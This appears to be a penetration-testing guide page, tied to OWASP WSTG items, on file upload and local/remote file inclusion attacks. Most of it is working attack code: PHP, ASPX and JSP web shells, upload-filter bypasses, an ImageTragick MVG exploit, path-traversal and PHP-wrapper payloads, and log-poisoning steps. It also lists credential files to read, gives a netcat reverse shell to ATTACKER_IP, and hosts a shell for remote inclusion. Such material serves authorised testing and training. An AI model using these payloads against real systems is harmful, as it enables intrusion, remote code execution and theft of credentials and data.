File Upload & Inclusion Attacks
WSTG-INPVAL-12, WSTG-INPVAL-11
File Upload Attacksβ
Understanding the Riskβ
File upload functionality is one of the most impactful vulnerability classes. If you can upload a file and execute it, you have remote code execution. The defense relies on validating that the uploaded file is what it claims to be - and those validations are frequently incomplete or bypassable.
Goal: Upload a web shell - a small script that lets you execute arbitrary OS commands through the web interface.
The three upload validation layers to bypass:
| Layer | What the App Checks | Bypass |
|---|---|---|
| File extension | Is the filename .php? | Double extension, null byte, case variation, alternate extensions |
| MIME type / Content-Type | Does the request say image/jpeg? | Change the Content-Type header - it's client-supplied |
| Magic bytes | Do the first bytes match the expected file format? | Prepend valid magic bytes to the payload |
Web Shellsβ
# PHP - minimal one-liner shell
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php
# PHP - more capable
cat > /tmp/shell.php << 'EOF'
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}
?>
EOF
# ASPX (.NET)
cat > /tmp/shell.aspx << 'EOF'
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
void Page_Load(object sender, EventArgs e){
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + Request["cmd"];
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.Start();
Response.Write(p.StandardOutput.ReadToEnd());
}
</script>
EOF
# JSP (Java/Tomcat)
cat > /tmp/shell.jsp << 'EOF'
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/sh", "-c", cmd};
Process proc = rt.exec(commands);
BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));
String s = null;
while ((s = stdInput.readLine()) != null) { out.println(s); }
%>
EOF
Once uploaded and accessible, use with:
curl "http://target.com/uploads/shell.php?cmd=id"
curl "http://target.com/uploads/shell.php?cmd=cat+/etc/passwd"
curl "http://target.com/uploads/shell.php?cmd=which+nc;nc+-e+/bin/sh+ATTACKER_IP+4444"
Extension Bypassβ
# If .php is blocked, try alternate PHP-executable extensions:
shell.php3
shell.php4
shell.php5
shell.php7
shell.phtml
shell.pht
shell.shtml
# Double extension (some parsers execute the last recognized extension)
shell.php.jpg
shell.jpg.php
# Case variation (on case-insensitive systems or misconfigured servers)
shell.PHP
shell.PhP
# Null byte (older PHP versions - null byte truncates filename server-side)
shell.php%00.jpg
# If the app appends an extension, try to control the final result
# App does: filename + ".jpg" β "shell.php" + ".jpg" β "shell.php.jpg"
# With null byte: "shell.php%00" + ".jpg" β "shell.php"
MIME Type Bypassβ
The Content-Type header in the upload request is set by the client and can be freely manipulated:
# Upload shell.php but tell the server it's an image
curl -si -X POST http://target.com/upload \
-F "file=@/tmp/shell.php;type=image/jpeg"
# Or manually with -H
curl -si -X POST http://target.com/upload \
-F "file=@/tmp/shell.php" \
-H "Content-Type: image/jpeg"
Magic Bytes Bypassβ
Some applications read the first few bytes of the file to verify the actual file type. Prepend valid image magic bytes to your PHP shell:
# JPEG magic bytes: FF D8 FF (hex)
printf '\xff\xd8\xff' > /tmp/shell_magic.php
echo '<?php system($_GET["cmd"]); ?>' >> /tmp/shell_magic.php
# GIF magic bytes: GIF89a (ASCII)
echo 'GIF89a<?php system($_GET["cmd"]); ?>' > /tmp/shell.php.gif
# PNG magic bytes: 89 50 4E 47 0D 0A 1A 0A
printf '\x89PNG\r\n\x1a\n<?php system($_GET["cmd"]); ?>' > /tmp/shell_png.php
The GIF trick (GIF89a<?php...>) is especially reliable because GIF89a is printable ASCII. It passes both string checks and basic magic byte checks. Combined with a .php extension, it executes as PHP on most configurations.
ImageMagick / File Processing Bypassβ
If the application processes uploaded images with ImageMagick, the ImageTragick vulnerabilities allow command execution via specially crafted image files:
# Create a malicious MVG file
cat > /tmp/exploit.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/image.jpg"|id; echo ")'
pop graphic-context
EOF
# Upload as an image file
curl -si -X POST http://target.com/upload -F "image=@/tmp/exploit.mvg"
Local File Inclusion (LFI) and Path Traversalβ
Understanding LFIβ
LFI occurs when a web application uses user-supplied input to include a file from the server's filesystem. The most common pattern is dynamic page routing:
// Vulnerable PHP code
include($_GET['page'] . '.php');
// ?page=../../etc/passwd
Where to look for LFI:
- Parameters named
page,file,include,view,template,lang,path,doc - URL structures like
/index.php?page=about,/view.php?file=report
Path Traversal - Basic Detectionβ
# Basic traversal - read /etc/passwd (Linux)
curl -si "http://target.com/page?file=../../../../etc/passwd"
curl -si "http://target.com/page?file=../../../etc/passwd"
# Windows targets
curl -si "http://target.com/page?file=..\..\..\..\windows\system32\drivers\etc\hosts"
curl -si "http://target.com/page?file=../../../../windows/win.ini"
# URL-encoded traversal (bypass simple string filters)
curl -si "http://target.com/page?file=..%2F..%2F..%2Fetc%2Fpasswd"
# Double URL-encoded (bypass single-pass decoding filters)
curl -si "http://target.com/page?file=..%252F..%252F..%252Fetc%252Fpasswd"
# Null byte to truncate appended extension (older PHP)
curl -si "http://target.com/page?file=../../../../etc/passwd%00"
# Absolute path (if the app doesn't enforce a base directory)
curl -si "http://target.com/page?file=/etc/passwd"
High-Value LFI Targets (Linux)β
/etc/passwd # User accounts
/etc/shadow # Hashed passwords (requires root-level read)
/etc/hosts # Internal hostnames
/etc/hostname # Server hostname
/proc/self/environ # Environment variables (may contain credentials, secret keys)
/proc/self/cmdline # Process command line (application path/flags)
/proc/net/tcp # Open network connections (hex-encoded)
/var/log/apache2/access.log # Apache access log (useful for log poisoning)
/var/log/nginx/access.log # nginx access log
/var/log/auth.log # SSH auth logs
/home/<user>/.ssh/id_rsa # Private SSH keys
/var/www/html/.env # Laravel/app environment file (credentials)
/var/www/html/config.php # Application config
PHP Wrappersβ
PHP stream wrappers extend what can be accessed via file inclusion:
# php://filter - read PHP source code (avoids PHP execution, returns base64-encoded source)
curl -si "http://target.com/page?file=php://filter/convert.base64-encode/resource=index"
# Decode the response:
echo "BASE64OUTPUT" | base64 -d
# Read any file via filter
curl -si "http://target.com/page?file=php://filter/convert.base64-encode/resource=../../config"
# php://input - include POST body as PHP code (requires allow_url_include=On)
curl -si "http://target.com/page?file=php://input" \
--data "<?php system('id'); ?>"
# data:// - inline data as a stream (requires allow_url_include=On)
curl -si "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg=="
# That base64 is: <?php system('id'); ?>
# expect:// - execute system commands directly (requires expect module)
curl -si "http://target.com/page?file=expect://id"
Log Poisoning β RCEβ
If you can read a log file via LFI, you can write a PHP payload into the log and then include it:
# Step 1: Write payload into the access log via User-Agent
curl -si "http://target.com/" \
-A "<?php system(\$_GET['cmd']); ?>"
# Step 2: Include the log file
curl -si "http://target.com/page?file=../../../../var/log/apache2/access.log&cmd=id"
Other log injection vectors:
- SSH auth log poisoning:
ssh '<?php system($_GET["cmd"]); ?>'@target.comβ include/var/log/auth.log - PHP session file: inject into a
PHPSESSIDvalue β include/var/lib/php/sessions/sess_<ID>
Remote File Inclusion (RFI)β
RFI allows including a file from a remote URL. Requires allow_url_include=On in PHP config - less common in modern apps but still worth checking.
# Host a PHP shell on Kali
echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.txt
python3 -m http.server 80
# Include it in the vulnerable application
curl -si "http://target.com/page?file=http://ATTACKER_IP/shell.txt&cmd=id"
# With null byte to strip appended extension
curl -si "http://target.com/page?file=http://ATTACKER_IP/shell.txt%00&cmd=id"